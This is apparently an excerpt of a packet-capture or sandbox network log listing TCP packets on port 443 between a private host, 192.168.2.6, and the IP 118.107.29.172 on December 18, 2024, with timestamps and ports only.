Dec 18, 2024 13:35:51.844613075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.873544931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.873565912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.873600960 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.873610020 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.873651028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.879023075 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.879045010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.879101038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.879106045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.879148006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.884702921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.884722948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.884753942 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.884759903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.884792089 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.884808064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.890675068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.890697956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.890742064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.890747070 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.890782118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.895778894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.895807028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.895869970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.895874977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.895898104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.895908117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.902731895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.902756929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.902812004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.902817011 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.902839899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.902854919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.949534893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.949573994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.949620962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:51.949629068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:51.949675083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.036950111 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.036981106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.037028074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.037067890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.037095070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.037112951 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.066123009 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.066148996 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.066198111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.066220045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.066234112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.066261053 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.071455956 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.071485043 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.071525097 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.071552992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.071569920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.071630001 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.076940060 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.076967001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.077033997 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.077060938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.077105045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.082731962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.082752943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.082808018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.082815886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.082850933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.087944984 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.087965012 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.088021040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.088027000 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.088054895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.088067055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.095834017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.095861912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.095905066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.095928907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.095954895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.095972061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.133460999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.133492947 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.133533955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.133567095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.133583069 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.133603096 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.229032993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.229062080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.229140043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.229171991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.229209900 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.258163929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.258197069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.258281946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.258318901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.258341074 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.258430958 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.264076948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.264101982 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.264139891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.264168024 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.264189959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.264218092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.269195080 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.269215107 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.269279003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.269304037 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.269321918 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.269491911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.274907112 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.274931908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.274962902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.274992943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.275007010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.275029898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.280616999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.280647039 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.280687094 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.280709028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.280730009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.280742884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.287982941 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.288002014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.288126945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.288147926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.288186073 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.325464010 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.325499058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.325542927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.325583935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.325607061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.325622082 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.421892881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.421922922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.421967983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.421999931 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.422025919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.422035933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.450248957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.450275898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.450335979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.450371981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.450393915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.450409889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.456074953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.456099987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.456151009 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.456190109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.456204891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.456237078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.461226940 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.461253881 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.461304903 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.461343050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.461364031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.461400032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.467447042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.467474937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.467533112 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.467567921 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.467586994 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.470325947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.474581003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.474606991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.474658012 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.474677086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.474719048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.481894970 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.481921911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.481971025 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.482008934 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.482023954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.482144117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.518289089 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.518320084 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.518399954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.518415928 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.518429041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.518479109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.613291025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.613321066 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.613373995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.613405943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.613428116 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.613447905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.643127918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.643155098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.643228054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.643239975 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.643285036 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.648279905 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.648308992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.648377895 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.648390055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.648439884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.654086113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.654149055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.654170990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.654191971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.654232979 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.654253006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.659226894 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.659293890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.659332037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.659342051 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.659396887 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.664911032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.664980888 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.664995909 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.665005922 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.665039062 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.665057898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.672034979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.672065973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.672148943 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.672162056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.672197104 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.672354937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.710402966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.710478067 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.710510969 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.710536003 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.710568905 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.710588932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.805798054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.805862904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.805891037 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.805926085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.805948019 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.805963993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.835001945 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.835036993 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.835084915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.835112095 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.835134983 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.835155010 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.840984106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.841021061 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.841068029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.841097116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.841128111 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.841142893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.845956087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.845980883 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.846066952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.846107960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.846149921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.851660967 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.851696014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.851727962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.851742983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.851778030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.851803064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.857562065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.857589006 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.857630014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.857642889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.857678890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.864232063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.864276886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.864320993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.864346981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.864392042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.864409924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.902436018 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.902501106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.902549028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.902585983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.902602911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.902626991 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.998163939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.998238087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.998259068 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.998301029 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:52.998317003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:52.998336077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.027203083 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.027262926 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.027297974 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.027343035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.027362108 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.027384043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.032594919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.032656908 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.032686949 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.032697916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.032744884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.038424015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.038459063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.038505077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.038516998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.038562059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.043642998 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.043674946 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.043721914 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.043751001 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.043770075 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.043823957 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.049556017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.049585104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.049665928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.049678087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.049722910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.056787014 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.056823015 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.056905031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.056926966 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.056952953 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.056962013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.094563961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.094598055 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.094636917 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.094669104 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.094682932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.094708920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.190232992 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.190262079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.190315962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.190361977 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.190382004 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.190407038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.220458031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.220489979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.220541000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.220592022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.220611095 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.220820904 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.225076914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.225104094 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.225197077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.225243092 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.225255013 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.225356102 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.230721951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.230745077 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.230829000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.230868101 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.231142044 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:53.236401081 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.236424923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:53.236466885 CET	49728	443	192.168.2.6	118.107.29.172
